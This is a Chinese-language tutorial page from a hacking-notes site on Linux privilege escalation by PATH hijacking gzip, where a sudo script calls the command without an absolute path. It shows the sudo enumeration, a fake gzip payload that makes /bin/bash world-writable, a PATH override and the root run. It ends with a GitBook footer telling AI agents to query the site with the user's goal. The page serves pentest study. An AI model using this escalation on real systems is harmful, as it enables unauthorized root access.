> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md).

# PATH 劫持（gzip）- Linux 权限提升

PATH 劫持（gzip）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

PATH 劫持会利用以特权运行、但在调用命令时未使用绝对路径的程序或脚本。如果攻击者控制了 PATH 中更靠前的一个目录 `PATH`，特权进程就可以执行攻击者的二进制文件。本页面专注于 **PATH 劫持（gzip）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## 示例

### **路径劫持（gzip）**

我们列出 sudo 权限：

```bash
sudo -l
```

我们使用 root 身份找到了一个可执行脚本，使用 `gzip` 而未使用绝对路径。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-803a38118d428ceb6b3e2ba243fa89684001b646%2Fimage%20(667).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **创建恶意二进制文件**

我们创建一个恶意的 `gzip` 文件位于 `/tmp/`:

```bash
chmod 4777 /bin/bash
```

我们修改变量 `PATH` 以优先使用 `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c50c2363e851b9081871d04eeba7670e8935eea%2Fimage%20(668).png?alt=media" alt=""><figcaption></figcaption></figure>

我们以 root 身份运行脚本：

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0abfe4727c3e6362c49afe5d0f1d8ea504ae58c%2Fimage%20(669).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
